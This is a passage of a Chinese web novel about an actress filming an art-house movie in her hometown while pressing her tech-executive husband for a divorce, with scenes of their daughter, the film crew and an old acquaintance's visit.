可是,那又怎么样?她看中的从来不是身份地位,她要的是满心满眼都是她的纯粹。 应真沉默着,隔了一会,抬眸看着他:“宋幼萱到底是谁?” 宁君昊满脑子都是公司上市的事,还以为应真会跟他谈协议条款,没想到她全然不按理出牌。 他心头涌上一阵烦躁。不懂妻子和女儿为什么都要扯上这个女人。 早上出门的时候,女儿听说他要到宁市来,也闹着要跟他一起来。他没同意,女儿就赌气地说:“既然你去跟妈妈约会,那我就去宋幼萱的生日会好了。” 宁君昊面色一沉:“我不管你什么时候加了她好友,但我觉得你应该不至于蠢到,非要去做一件同时让我和你妈妈都不高兴的事。” 宁颐然最讨厌从爸爸嘴里听到“蠢”这个字眼,小脸一黑,嘟囔道:“只许州官放火,不许百姓点灯。你自己不也跟宋幼萱的公司合作,也没见你在乎妈妈生不生气。再说,她生日会又不是只邀请了我,她还邀请了奶奶和小婶婶一家。” 应真不在,父女俩之间没有缓冲地带,又一次不欢而散。 宁君昊没想到早上女儿刚提完,此刻应真又提。 他眉眼沉了下来:“你怎么突然问起她?是然然跟你说的?” 应真呵地一声:“原来女儿也知道。” 宁君昊眼底掠过一丝狼狈,正想着怎么跟她解释,却见她一脸冷淡地站了起来。 “我知道你的时间很宝贵。但离婚也花不了你多少时间。离婚协议之前就拟好了,不是吗?我会让我的律师去跟李墨谈。奇技上市,能配合的我也会尽量配合。” 看她表情,应该是什么都知道了。宁君昊只觉得既头疼又气恼,再次觉得自己被这个女人拿捏得死死的,“我明确告诉你,我不会和你离婚。我跟宋幼萱确实很早就认识了,但我们之间没有任何男女之情。这个我之前也跟她解释过……” “她”是谁,两人都懂。 应真不想听,出言打断:“她还是太体面,没把你跟宋幼萱的聊天记录甩到你脸上。” * 李长风出了电梯,走到前台,修长的手指敲了敲柜台:“刚才那男的是谁啊?” 被大明星这么一问,前台小姑娘小鹿乱撞,满脸通红:“我,我本来想拦他的。他说他是应老师的老公。” 李长风这才恍然,难怪瞅着有点眼熟,先前在网上看过照片。 今天李长风一整天的戏,早上九点剧组给他租的商务车准时停在了酒店门口,助理已经等在了一旁。 去片场的路上,他拿着手机开始刷微博。其实这两年他微博发得比以前少很多,年纪大了,倾诉欲和表达欲都在下降。 虽然发得少,且以营业内容为主,但他喜欢在留言区跟粉丝互动。这么多年下来,他的粉丝还是挺活跃的,每条微博都有几万条留言。 他转发《雪在烧》开机仪式微博的那条,评论留言直接飙到十几万条。 不能跟现在当红的流量相比,但在同年龄段的男演员当中还是不错的。 老粉都知道他跟黄书韵的交情。黄书韵是《千帆雪》的编剧,当年李长风在《千帆雪》里演男二,靠着深情克制的人设,狠狠吸了一波粉,险些将男一的风头全给抢走。 黄书韵这次弄来资金,亲自给自己的小说担任编剧导演,演员阵容一出来就知道是个小成本的文艺片。 除了李长风,其他几个主演,应真早过气了,芮宁是演文艺片的,陈卓只在电视剧圈子有点流量。这一看就知道票房压在谁头上。 也因此,这几天,李长风粉丝没少微博上囔囔。他打开最近的那条微博,底下粉丝们又为谁蹭谁流量在那吵。 “原著是女性向的婚姻小说,女主戏份比男主重。” “黄书韵就是挟恩图报,这破烂的阵容,流量全指着疯哥呢。” 平时这种评论李长风懒得回,现在看着却觉得有些刺眼。八年前拍《千帆雪》,因为他的男二太出彩了,被男一的粉丝追着骂了好久。当时身为编剧的黄书韵也跟着被骂,男一粉丝觉得她私底下给男二加戏。 那时候李长风才二十啷当的年纪,靠着《千帆雪》稳定了咖位。说起来,他确实要感谢黄书韵。 现在影视寒冬,有电影拍就不错了。他赶紧在那条“挟恩图报”的评论底下回了一条:“别这么说!《雪在烧》剧本好,导演好,对手演员好,能加入是我的荣幸。” 这是真心话,黄书韵跟他以前合作过的导演风格都不一样。 第一次执导,压力可想而知,但她面上愣是一点看不出来,在剧组很少发脾气,对演员也是以鼓励为主。 李长风是那种在严厉导演底下打蔫儿,在鼓励欣赏他的导演底下,会疯起来演的那种。反正,演江游他演得挺过瘾的。 今天他两场戏,一场跟芮宁,一场跟应真。 芮宁在戏里演江游的妻子韩月。她一向走的是清冷的文艺片路线,这是她第一次演一个红杏出墙,在婚姻里骚动不安分的女人。对她说,也是一次新的尝试。 这天,韩月跟江游说,她要去邻市出差,而江游前几天收到短信后,早已经发现妻子出轨的各种蛛丝马迹。 韩月开车去邻市,顺便送江游去单位。江游趁她没注意,把元珊给他的电话手表放在车里。 江游跟韩月一路互相试探,台词不多,但对表演的细腻度要求极高,精华全在那些复杂微妙的表情特写上。 三个小时候下来,李长风和芮宁都快虚脱了。摄像在车里辗转腾挪,大冷天的秋衣湿透。 黄书韵回老家来拍戏,当地政府也给了很大的帮助。李长风和芮宁这场戏在宁市开发区的派出所附近,马路宽敞开阔,人也不多,拍得还算顺利。 结束时,全剧组的人都鼓起掌来。 李长风原以为应真丈夫过来探班,她可能会晚点到。没想到上午没有她的戏,她也过来了,一直站在片场外,看他和芮宁拍戏。 这么冷的天,她和工作人员一起站在马路边上,丝毫看不出任何养尊处优的地方。 转场的时候,李长风主动跟应真搭话:“我早上下电梯的时候,看到你丈夫了。” 黄书韵四下看了看:“宁君昊他人呢?我正想感谢他呢。” 应真不想听到那三个字,拍戏期间,她的情绪要省着用,“感谢他什么?他有事,待了一下,就走了。” 黄书韵拿出手机:“感谢他来给我们送温暖。他人走了,我在微信上跟他说一声。” 几个刚领了午饭的女孩从她们面前经过,笑嘻嘻地跟应真打招呼:“谢谢应老师。” 应真这才注意到,今天的盒饭不是那家丽平快餐的盒子,是个很精致的黑色饭盒。 宁君昊让人给剧组定了午餐和下午茶。午餐是本地颇有名气的韩式料理,下午茶则是蛋糕和咖啡。 原本就没打算吃午饭,这下应真更是胃口全无。 …… 下午拍应真和李长风的戏份,在宁市的一家农贸市场。 餐饮店里流出来的污水,菜贩摘掉的枯黄菜叶被行人踩在脚底下,跟污雪混在一起,让这条农贸街变得脏腻不堪。 元珊从头到脚一身黑,手里拎着在市场上买的煎饼果子和小米粥。臃肿的羽绒服将她淹没在人群当中。 剧组隔离出来一片拍摄区域,然而在镜头拍不到的地方,挤满了来市场买东西的市民。好多人是头一回看剧组拍戏,无数道目光落在应真身上,压低声音交头接耳起来。 “这拍的啥戏啊?” “我刚听了一耳朵,好像是这女的给她老公戴绿帽子了。” “这女的不是女主角吧?瞅着有点不像啊。” 应真戴着口罩墨镜站在嘈杂混乱的街头,犹如置身一个巨大的舞台,那些嗡嗡的背景声渐渐远去。 在被江游从市区派出所一脚踢到鸟不拉屎的郊区派出所后,她已经有三个月没见到以前同事了。即便远离了以前的工作环境,但是女警察抓**抓到自己老公身上的事,还是被传到本系统的各大单位。 在郊区派出所,元珊一进去就成了同事茶余饭后的谈资。不过她再也不是以前那个温柔的元珊,听到谁当面或背后蛐蛐自己,她都会不客气地反击,慢慢地在单位也没人敢当面议论她了。 元珊戴着口罩墨镜站在路边,一辆半新不旧的捷达从她身边开过,污水溅到她的裤腿上。 元珊低头看了一眼,墨镜顺着她和鼻梁往下滑落。镜头给到她脸特写,看清楚开车的人,她忍着火气打开车门坐了进去,报复性地将裤管上的泥用力蹭在座椅上。 江游一晚上没睡,此刻脸色要多难看有多看:“这车是我找许姐老公借的。” 许姐是元珊以前的同事。她拍了拍裤腿,嘟囔:“你不早说。” 早知道是许姐老公的车,她就不这么用力地将裤腿的泥往车上蹭了。 一上车,元珊就拿出煎饼果子开始吃起来,食物的香气在车里弥漫开来。江游闻到鸡蛋和葱花的香气,早上出门出得急,他还没吃早餐,这会感觉更饿了。 元珊不顾形象地大口大口吃着,腮帮子一鼓一鼓地像只仓鼠。 江游眉头皱了起来,他有洁癖,平时韩月坐在副驾上,都不能吃东西。今天却不得不忍着元珊。 一晚上没睡,江游下巴冒出来青茬,脸色也不大好。如果不是因为她知道妻子的动向,他真的不想忍这个女人。 元珊一边吃早餐一边道:“你导航到东湖山庄。” 江游总算明白她为什么约在这个又脏又乱的农贸市场碰头,这里开车去东湖山庄也就十来分钟的功夫。 他眼底闪过一丝阴翳,咬紧后槽牙用力捶了几下方向盘。 他痛苦至极,元珊依旧是几近麻木平淡的表情。 导航开始规划路线,江游发动汽车,离开这个脏污的集市。 江游从后视镜里看了眼大口大口吃着煎饼果子的元册:“你倒底是来捉奸的,还是来野餐的?” 元珊面无表情:“捉奸的是你,不是我。许鹏池现在是我前夫,我管他跟谁睡一起。” 元珊吃了半边煎饼果子,已经饱了。看一向衣冠楚楚一表人才的江所,今天颓废不振的模样。知道他早上肯定没心情吃早饭,将手里剩下一半的煎饼果子递给他,“想吃你就直接说,捉奸也得先填饱肚子。” 江游没好气地挡开她的手。 元珊:“不吃算了。等会我当午饭吃。” 窗外是呵气成冰的凛冬,车内的气氛也好不到哪去。 元珊主动破冰:“我知道你担心什么。你放心,我不会把你老婆给你戴绿帽这事告诉别人。” 江游冻得比冰棱子还硬的脸出现一丝裂缝,却听到元珊问他,“我上次给你的电话手表,你放了没有?” “放了。” “放哪儿了?” “肯定发现不了。” “你别给我弄丢了。那可是最新款的,带楼层定位的。” “弄丢了我赔。” 元珊拿出纸巾擦了擦手上的油,从口袋里掏出手机,打开APP看了一眼,不由惊呼:“到了到了!东湖山庄二楼。你赶紧的!” 结果太背,一路上连吃几个红灯,又遇到超车的司机。 元珊本来就跟江游不对付,千载万逢的机会埋汰他岂能放过,“你这开车技术,抓奸都赶不上热乎的!” 江游气得脸色铁青,一脚油门往东湖山庄方向开去。 这一路上,一个狼狈,一个气定神闲,形成强烈的反差,气氛渐渐往搞笑的方向发展。 拍完路上的戏份,他们又回到农贸市场补拍了几组镜头。 吃瓜群众们空前的兴趣,抓着剧组的人问东问西。 黄书韵拿着话筒,用地道的宁市口音道:“感些乡亲们的支棱!俺们这电影叫‘雪在烧’,明年上映那会儿,大伙儿记着去影院支棱哈!” 黄书韵父母裹得严严实实的,站在人群里,脸上的笑容连那口罩都遮不住。 这些天,老两口没少跟着闺女的剧组跑。瞅着说话斯斯文文的闺女,指挥着一群大老爷们,几十号人,两口子的嘴角根本放不下来。 北漂这么多年没赚到几个钱的闺女,这下好像真的出息了? 外景结束,那些举着各种设备的工作人员,站在零下十度的街头,早已经快冻得失去知觉了。 应真和李长风坐在车里还好些。应真背上腰上,甚至脚底都贴了暖宝宝,以至于拍完她甚至沁出一丝汗。 暖宝宝太神奇了,神奇到她觉得冬天在北方拍外景好像也并不是一件很难熬的事。 应真不知道有这号东西,剧组的小姑娘送了她几张,这一用就离不开了。 黄书韵又拿起对讲机:“收工!大家早点回去休息!” 工作人员都忍不住欢呼起来。现在还不到下午六点。只要不拍夜戏,剧组就是雷打不动的朝九晚六的工作时间。黄导拍摄严格按照通告来,绝对不会在工作时间上压榨大家。 一放工各个小群又活跃起来。 “今天场务那个老油子骂群演员小姑娘,被黄导轻声细语几句话说得不吱声了。” “黄导真的是一股清流。好希望像她这样的清流多一点。” “我现在只希望咱们这部戏能多赚点钱。这样以后黄导不愁没戏拍,咱们可以接着抱大腿了。” “咱们这戏,到目前为止,顺得让我害怕。应老师一点不像退圈十几年的,太稳了,愣是一点链子没掉。” “呸呸呸!咱们这戏会一路顺顺顺!” * 早上说要去宋幼萱的生日会,宁颐然其实也是在跟爸爸赌气。 周五放学比平时早,一想到回去也是自己跟叶阿姨两个人在家,宁颐然就觉得没劲,拉着晋扬、魏珣和两个死党一起去美星广场那边玩剧本杀。 新出的剧本杀难度太高了,玩了快四个小时还没结束。司机一直在催,宁颐然没办法,只能提前退出。 到家已经晚上九点多了,叶阿姨给留了一盏壁灯。 宁颐然一进门就闻到一股淡淡的烟味,抬头看到沙发上那个身影,不由头皮一紧,然后假装没事地说了句:“爸,你怎么就回来了,我以为你会在宁市陪妈妈待几天呢。” 壁灯只照亮着玄关那一块区域,客厅没开灯,宁君昊坐在阴影里,也没问女儿这么晚去哪了,只叹了口气:“然然,你妈妈想跟我离婚。” 第48章 第48章“她说放弃就放弃啊?!…… 宁颐然难以置信,但看到一向喜怒不形于色的爸爸,显而易见的心情不好,又觉得不像是假的。 妈妈是疯了吗?一把年纪了要闹什么离婚。难道真的像奶奶说那样,妈妈想趁着爸爸公司上市的机会,离婚分割财产,然后过自己的潇洒生活? 宁颐然觉得妈妈那种性格,干不出这种事。在她心目中,妈妈是个温柔的女人,温柔到她经常觉得妈妈没脾气。 最近因为复出拍戏的事,妈妈跟她和爸爸有点冲突。但有一件事宁颐然无比确定,那就是妈妈对她的爱。 虽然她经常嫌弃妈妈没文化没本事没个性,但妈妈的爱还是给了她极大的安全感。 宁颐然打心底里不希望妈妈跟爸爸离婚。她有一种预感,一旦他们离婚,她可能再也没办法像以前那样得到他们全部的母爱和父爱了。 这对她来说是一件很可怕的事。 “爸爸,妈妈想离婚,还没问我意见呢。我去跟妈妈说,我不同意你们离婚。只要我不同意,妈妈肯定会回心转意的。” 宁君昊抬头,看到女儿那张涨得通红的脸,那双眼睛里写满了笃定。如果是以前,他确信应真会因为女儿的意见而动摇。 现在…… 有些事宁君昊没法跟女儿解释,只道:“我会跟你妈妈好好沟通。你先去睡觉吧。” 时间确实不早了,宁颐然回房间洗漱睡觉。这一晚,她睡得并不好,在床上翻来覆去去,脑中闪过很多小时候的事情。 小时候,妈妈没少在她耳边唠叨:“这个世界上,妈妈最爱的人就是你。” 那时候,她傻乎乎地问妈妈:“比爱爸爸还要爱吗?” 妈妈毫不犹豫地点头:“那当然。妈妈为了你,可以连命都不要。” 宁颐然脑中闪过当时妈妈那温柔坚定的目光,顿时安心地阖上眼睛进入梦乡。 * 从宁市回来的路上,严格来说,从在应真的酒店房间那一刻,宁君昊就一直在抑制自己的情绪。再往前追溯,好像从他收到应真让律师寄给他的离婚协议开始,他的情绪就不受控制了。 昨天,应真提到聊天记录的事,宁君昊才意识到那份离婚协议背后的原因。原来那次跟沈烨秋他们在公海玩了几天回来,应真跟他大吵一架,是因为她看了那个聊天记录。 应真只字未提聊天记录的事,只说她希望他不要跟宋幼萱的公司合作。可是那时候合同已经签了,他觉得她无理取闹。 那一次应真哭了。结婚前,她并不是个轻易流泪的女人,嫁给他以后,却变得越来越情绪化。宁君昊时常不知道怎么面对她时好时坏的情绪。 现在再回想到那个画面,他胸口一阵闷痛。他不得不承认:年轻的应真感情固然炽热纯粹,但跟他结婚十几年的应真才是这个世界上跟他羁绊最深的女人。 宁君昊努力抑制着自己的情绪,像往常一样准点起床,去衣帽间换衣服,挑选搭配的袖扣戴上,抬腕整理领带的瞬间,突然想起四十岁生日时,应真送他的那块手表。 …… 叶萍正在外头打扫卫生。宁太太不在家,宁先生不让她整理书房和卧室,说怕她弄乱了东西,找不着。 (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*)听到宁先生喊自己,她慌忙跑进来。宁先生已经穿戴整齐,皱着眉头站在那儿,“我有块绿色鳄鱼皮表带的手表去哪了?我没找到。” 叶萍最怕宁先生问她东西在哪,头摇得跟拨浪鼓似的:“我不知道。要不我打电话问问太太?” 宁君昊的衣柜里有一层抽屉是专门放他这些年收藏的手表的。他找过了,所有手表都在里头,只除了应真送自己的那块,再看到叶阿姨一问三不知的模样,他有些颓然地摆摆手:“罢了。可能被太太锁进保险柜了。” 叶萍“哦”了一声,赶紧出去忙了。她搞不明白,宁先生放着那一抽屉的手表不戴,非要找一块平时也不怎么戴的手表。可能有钱人就是心血来潮? 宁君昊换好衣服下楼,周末一向要睡懒觉的女儿竟然起床了,手里捏着什么,失魂落魄地坐在沙发上。 宁颐然看到爸爸,眼睛瞬间红了,扑到爸爸怀里哭了起来:“我妈留这个纸条什么意思?她以后是不打算管我了吗?” 她早上迷迷糊糊醒来,从洗手间出来,头不小心磕到墙上的软木记事板,她发现妈妈留了个纸条给她。那纸条粘在一堆单词便利贴旁边,她前几天没注意到。 看到上面的落款日期,是妈妈去宁市拍戏那天留的,上面只有短短一句话:“然然,照顾好自己。” 宁君昊从女儿手里拿过那张便条,的确是应真的字迹。 女儿哭得稀里哗啦,他心里很不是滋味,拍了拍女儿的后背,安慰道:“你妈妈这次拍戏要在外地待三个月。她不放心你,才写这个便条给你,你不要想太多。” 宁颐然还是觉得很难过,她的妈妈不会这样的。妈妈一定是生她气了。 “爸爸,我不想一个人在家。我跟你一起去公司吧。我保证不打搅你上班。” 宁君昊看着女儿难过的样子,难得的心软了,带上女儿一起去公司。 到了公司,让秘书领着女儿去一旁的游戏室。他则径直进了办公室,李墨和梁文栋已经在等候,两人俱是一脸凝重。 李墨起身,语气有些急:“宁总,我刚收到宁太太的律师何钰寄过来的离婚协议书。” 有些话,他不好当着梁文栋的面说,何钰那边措辞很直接,如果宁总不同意,就走诉讼途径。总之宁太太的意思,这个婚是非离不可了。 梁文栋脸色很难看:“君昊,离婚协议九月份你就已经收到了,却一直没有向我们披露。你必须要给我一个说法,不然我没法跟我老板交待。” 宁君昊将西服脱了,随手扔在一旁,往椅子上一坐。说真的,这段时间他也是受够了投行这帮人。 他眼皮也不抬,语气一如既往的平淡:“我们夫妻之间的事,我没必要跟外人交待什么。” 梁文栋看他这样子,更加生气了:“上市公司哪来‘家务事’?一旦闹上法庭,搞不好就把奇技的上市流程给断送了!” 宁君昊面无表情地开口:“我很看重我的家庭。离婚不在我的考虑范围。你放心,如果到时候因为我和我太太之间的私事,影响公司的上市,产生的损失我一个人承担。” 一句话,他有钱,赔得起。 梁文栋拿他没辙,语气缓了下来,“这个时候离婚,太被动了。君昊,你肯定也不想奇技上市功亏一篑,赶紧想办法把老婆哄哄好。” 宁君昊压在心底的那股烦躁又涌了上来,他抽了半支烟,抬头看着李墨:“财产和抚养权方面,我太太是怎么说的。” 李墨咽了咽口水:“何律师说,这次离婚协议,太太有了新的要求,她要奇技5%的股份,还有一半的现金。” 梁文栋略微松了口气,5%的股份,应该是宁太太跟她律师商量的结果,这个比例不至于影响宁君昊对公司的控制权。 即便这个比例,也很吓人,再加上一半的现金。宁太太离婚后,将立刻跻身北市女首富。 宁君昊没说话,隔了一会问:“抚养权呢。” 李墨:“太太说她放弃。” 这句话像一把刀划破了宁君昊那张看似平静的脸,他扯动唇角笑了:“她连女儿都不要了。” 说完他从椅子上站了起来,用力扯了扯领带,情绪再也抑制不住了,寒着一张脸:“她说放弃就放弃啊?!” …… 周添想找宁君昊聊新游戏版号的事,刚从电梯里出来,迎面撞上梁文栋和李墨,两人脸色都很难看。 周添冲他们点点头,然后敲了敲宁君昊办公室的门,推门进去。 一股呛人的烟味直往鼻孔里钻,他屏住呼吸,“你不是戒烟了吗?怎么又抽了起来。刚才看到梁文栋和李墨了,你那信托协议还没弄好?” 共事多年的同门师兄弟,周添跟他说话,没有旁人的拘谨。 宁君昊心情不好,掀起眼皮看了他一眼,“还不是拜你所赐。” 听宁君昊把前因后果一说,周添整个人都快麻了,慌得一批,“那怎么办啊?要不我去跟嫂子解释一下吧。都怪我,我脑子进水了,跟沈烨秋打赌……” 周添自己平时没正形,沈烨秋比他还没正形,老顽童一个。一把年纪了,还经常搞各种恶作剧。 不过他虽然跟沈烨秋打了赌,但那两句话毕竟是他发的。他平时背着老婆聊骚,习惯了。他是明着来,不像宁君昊——闷着骚。 周添老婆是名医生,工作繁忙。平时不要说管他了,只要他不去烦她就行了。 老婆好不容易在家,他想凑过去腻歪一下,老婆都恨不得把他踹走。他是孙猴子,他老婆就是那个紧箍咒,总有办法对付他。 宁君昊太太正好相反,相夫教女,温柔体贴。打从上大学那会,他就看出来了,宁君昊就喜欢应真那类型的女孩子。不然宋幼萱当初追他追得那么猛,他怎么一点不动心呢。 周添一直觉得这世上就是一物降一物。他以为他和宁君昊都找到了能降住自己的女人,谁能想到人家这一声不吭地就要离婚? 看宁君昊心情不好,周添诅咒发誓他去跟应真解释。 宁君昊神色冷淡地冲他一抬头:“你别再掺和了。我自己想办法吧。” 看他心情这么个鬼样子,周添哪里还敢提版号的事,赶紧闪人了。 * 应真已经渐渐适应宁市的天气和酒店房间糟糕的隔音。 晚上躺在床上听到暖气片里水流的声音,心情反而平静下来。好像突然之间又回到了那些年一个人在外头拍戏的日子。在宁君昊没有出现的时候,她就是这样生活的。 可是念头一转,在她的世界里,她跟宁君昊才刚结婚,正是感情浓度最高的时候。要把这个男人完完整整地从自己的生活里剔除出去,跟刮骨去毒也没有区别。 应真反反复复提醒自己,现在这个宁君昊,不是她爱的那个宁君昊。十几年,人会变。又或者,是她自己看走眼。 无论哪种,平静接受。这么一想,她更加佩服四十岁的应真,在这个世上有了血缘羁绊,还能勇敢地迈出那一步。 剧组开始拍前半段,应真和丈夫、儿子的戏份。琐碎的家庭生活,密密麻麻的生活细节,应真将自己全身心代入进去。 元珊当然是个疲惫的中年妇女。但应真却并不想只表现她的疲惫忙乱。 黄书韵拍戏,希望演员尽量让剧本来,最好不要临场发挥。有时候,同样一句话,应真会用不同的方式来演,让黄书韵在里头去挑。 “光呈现还不够。没人想看一个苦哈哈的中年妇女的生活。很多像元珊一样的中年女人,她们只是在默默地承受着一切,连诉苦都懒得,张嘴还要费力气呢。对吧?多想想元珊主体性的一面,工作上她是会偷懒的,耍小聪明。对待青春期的儿子,对待丈夫,她用的方法又不一样。用现在流行的说法,元珊就像湖面上的鸭子,表面上看上去岁月静好,扒拉开来一看,两只脚拼命地在水下面捣腾……” 应真认真听着,每当这个时候,她都佩服黄书韵这十几年没白活。即便没有结婚生孩子,她一直通过身边结婚了的朋友去观察。 应真这些天,也积攒了一些当妈的感性认识。每天早上起来给女儿做早餐,送女儿上学,给女儿开家长会。 她知道自己干这些事的出发点,不是母爱,而是出于一种责任感。元珊和她不一样,她对儿子,就像四十岁的自己对待女儿一样,看得比命还重。 一个真正的母亲,她在孩子做早饭,在学校门口接孩子的时候,是怎么样的呢?应真不知道,她只能凭借自己的感性素材去接近那种状态。 戏里,元珊陪儿子去博物馆,结果儿子把她晾那,一个人坐公交车回家。她气得要命,决定再也不理儿子了,却在儿子晚上咳嗽时,哀求许鹏池送儿子去医院。 收工的时候,陈卓忍不住道:“我总算明白为什么每次我女儿生病,我老婆就焦虑得不行。这就是一种不受身体控制的激素反应,无论孩子多大,当妈的都一样。” 戏外给人当妻子当妈不容易,戏里也不简单。一场戏下来,应真整个人的情绪被榨得干干净净。 收工回到酒店,应真卸完妆,换上自己的衣服。听到外面有人敲门,打开一看,黄书韵和一个熟悉的身影正站在门口。 看到杵在自己跟前的男人,应真眼里流露出一丝惊讶:“你怎么来了?” 秦毅含笑看着她:“我来履行一下投资人权利,看看你们钱花得怎么样了。” 他穿了件质地考究的黑色大衣,和牧场上那个有些粗砺的样子简直判若两人。 应真赶紧把他们请进来。黄书韵在后头啧道:“你放心。你的钱每一分我们都恨不得掰成两分花。也幸好是回宁市拍戏,七拐八拐地都能托上朋友。外景场地,我要么找不要钱的,要么托朋友去讲价。” 为了拍《雪在烧》,黄书韵可把自己在宁市那么点人脉给薅得干干净净。回来这么长时间,她每天工作排得满满的,一直想做当东道主,带余平婉和应真逛逛自己家乡,下馆子吃点好吃的,都没挤出时间。 这次秦毅来剧组探班,她得招待一下子,可惜余姐前几天回北市了。 黄书韵拿出手机搜了搜,发现一中附近那家“光头烧烤”竟然还在,便拉着秦毅和应真直接杀了过去。 光头烧烤不仅在,甚至店面比以前还扩了一倍,晚饭的点,店里客人还不少。 “上学那会没什么零花钱,下晚自习的时候饿了,就来这买几串烤豆干吃。” 黄书韵拿着菜单,凭着自己记忆开始点了几样,点完又让应真和秦毅点。 应真晚上吃得很少,看黄书韵和秦毅兴致很高,便也点了几样。 老板娘听说他们以前是一中的学生,当年经常来她这里吃,还免费送了他们两瓶啤酒。 店里的暖气很足,三人把外套脱下来放在一旁的椅子上。 烧烤还是那个味道,黄书韵吃得津津有味。应真也觉得味道还可以,秦毅却有些吃不惯,在外面这么多年,他吃辣的能力急剧退化。 秦毅:“我都想不起来自己上一回回宁市是哪一年了,就记得那几年每一次回来都是冬天。” 黄书韵:“我十八岁上大学,你比我小两岁,十六岁上大学,半大小子一个,也就寒假回来一下吧?” 秦毅知道黄书韵跟应真同年,他莫名地不希望她老在应真面前说年龄的事,忍不住开口:“咱俩同辈的。能不能别每次见我,都想着涨辈份,占我便宜?” 黄书韵想到上回在锡市酒吧街,秦毅给她们买花那事,“该叫姐的时候就得叫姐,你知不知道上回你送那玫瑰花,给应真惹了多大麻烦?” 应真没有注意他们在聊什么。她正在看手机,婆婆何方珍和表嫂苏苒刚才不约而同发了条朋友圈。高档日式包间里,一个穿着红色毛衣的女人戴着生日帽坐在中间,妆容艳丽,何方珍和苏苒分别坐在两旁。苏苒的老公女儿也在,一群人笑得很开心。 两人发朋友圈,还配了一模一样的文案:祝大美女生日快乐! 应真一眼就认出来,那个女人是宋幼萱。 这个家所有人都知道宋幼萱,只有她像把头埋在沙坑里的驼鸟一样,自欺欺人地假装没有什么不对。 应真面无表情地退出,将手机放在桌上,一抬眼,发现黄书韵和秦毅都看着自己。 黄书韵发现她神色不对劲:“没事吧?” “没事。”应真笑,看他们吃得差不多了,“你们不是说要带我去你们的母校看看么?” 第49章 第49章仿佛……他也可以。 宁市的物价并不高,三个人这顿烧烤才吃了不到两百块。 黄书韵要结帐,秦毅没让。探班的人请客,规矩他还是知道的。宁市也是他的家乡,倒也不至于需要黄书韵请他。 老板娘看他们三个人年纪不轻,但气质都不俗,一看就是在大城市混得不错的宁市人,主动给他们抹了零。 “马上一中要搬走了,我们店也要搬了。下回你们要是回来,直接去新校区那边。我们店就在新校区对面。” 黄书韵和秦毅笑着应了下来,但都知道没有下回了。 回忆杀就是心血来潮的偶尔为之。多来几次,就没意思了。 应真站起来,从椅子上拿外套,她的羽绒服被压在秦毅的大衣下面。两人不约而同伸手去拿衣服,她又看到他手腕上那道红色疤痕。 一闪而过,她挪开视线,转身把外套穿好。 从烧烤店出来已经晚上八点了,街上静悄悄的。宁市本就不大,公交车也就十几路。 应真怕冷,穿得是三个人里头最多的,厚实防风的羽绒服,毛线帽、围巾、手套。 其实这个时候,她觉得冷点更好,让头脑冷却下来,也让自己乱七八糟的情绪平息下来。 黄书韵好久没有在宁市街头这样随意走动了,在自己从小长大的地方,感觉和别的地方就是不一样。她指着旁边一间报刊亭,对应真道:“以前上下学经常在那买杂志,借口袋书,带颜色的言情小说。下晚自习,我爸会来学校接我,我还得想办法把书藏好……” 应真安静地听着,有些羡慕黄书韵,她就是那种从小备受宠爱的独生女。 这些日子,在宁市拍戏,她父母经常带着亲手做的好吃的到剧组来探班。有时候,老两口只是在一旁静静陪伴着女儿,看女儿导戏,那眼神是全是骄傲。 认识这么多年,黄书韵和应真在一起,还是有说不完的话。 秦毅没有加入,而是远远地跟在后头,点了根烟,慢条斯理地抽着。 隔着一段距离,他便无需克制自己的眼睛往哪看,又或者不往哪里看。 她剪短了头发,齐耳的短发被围巾拱得微微翘起。刚才吃饭时,全程只有他和黄书韵在说话,她比上回在锡市还要沉默。 不知为何,秦毅觉得她刚才看手机时,那表情像是快要哭了。 他承认,从景天屹那得知她在跟宁君昊办理离婚手续,他又开始躁动了。牧场进入漫长的休眠期,他终于腾出时间来弄牧场的网络,可是他却静不下心来。 人和人之间的缘份就是这么奇妙。当记忆深处的一个遥远模糊的身影,变成他认识的某人太太后,竟让他也生出很复杂微妙的感受——仿佛……他也可以。 不过,已经时过境迁了。秦毅不觉得自己有什么进一步的想法,就是趁着回来看望舅舅,顺带看看她们电影的进度。 …… 烧烤店拐着弯过去就是一中。周末,学校的保安不让进,这难不到曾经是教职工子弟的秦毅。他带着她们从职工楼那边的小门绕进去。 铁锈斑斑的铁门,一个爆炸头的阿姨正拿着钥匙过来锁门,看着三人朝自己这边探头探脑,不由警惕地打量着他们,“你们找谁啊?” 秦毅咧嘴笑:“阿姨,我以前住这,好多年没回来,想进去看看。” 在国外那么多年,他早已经不会说家乡方言了,甚至连普通话的口音都不自觉染了些腔调。 阿姨板着脸上下打量他,忽然想起了什么,眼睛亮了,态度一百八十度大转弯,嗓门高亢起来:“你是秦老师的儿子吧?” 老一中的教职工送走一批又一批学生,能留下印象的孩子并不多。 这么多年过去了,一中还流传着那些神童的传说,而那些孩子里头,秦建业儿子是最常被提及的。 那孩子可怜啊,母亲有精神方面的疾病,在他很小的时候就自杀了。他和父亲相依为命。不到十八岁就考上Q大,听说后面去美国上大学,在那发展得很不错。 秦毅多年没回宁市,没想到阿姨一眼就认出了自己,只能点头说“是”。 这下阿姨就像换了个人似的,一把将铁门打开,热情地招呼他:“哎呀!你这可真是难得回来一趟!赶紧进来!” 阿姨退休前是语文老师。一中老师太多了,黄书韵和秦毅都没在她手里念过书,一点印象都没有。 “我今天也是过来收拾一下东西,还有几天元旦了,年前这里要全部搬空。你们也是赶巧了,再晚几天,就进不来喽。” 阿姨腿脚不是很灵便,絮絮叨叨拉着秦毅聊起家常:“老秦现在享福了,大儿子这么有出息,小儿子也大学毕业了,又弄到那么好的单位,以后养老不用烦了。” 秦毅那个同父异母的弟弟,比他小十几岁,去年大学毕业。秦建业两口子费了不少劲,托了不少关系,把儿子塞进了宁市一家事业单位。 两口子都是一中老师,收入在宁市比上不足比下有余。这么多年省吃俭用,房子车子早都给儿子准备好了,只等儿子相中了合适的对象,就可以结婚。 这些秦毅从舅舅那断断续续也听说了一些,现在又从外人这听一遍,感觉像是听别人家的故事。 一个跟他无关的幸福三口之家的故事。 黄书韵知道秦毅跟他爸不对付,忙岔开话题,问了阿姨一些学校拆迁的事,又找阿姨借洗手间用。 应真和秦毅站在单元门前的花坛边等她。 这一排职工楼都是八九十年代常见的红砖房。楼里大部分居民都搬走了,只有零星几户还亮着灯。 曾经热闹的职工楼变得冷清凋敝。冷得透骨的冬夜,空气里飘过来一丝若有似无的烧糊的米饭气味。 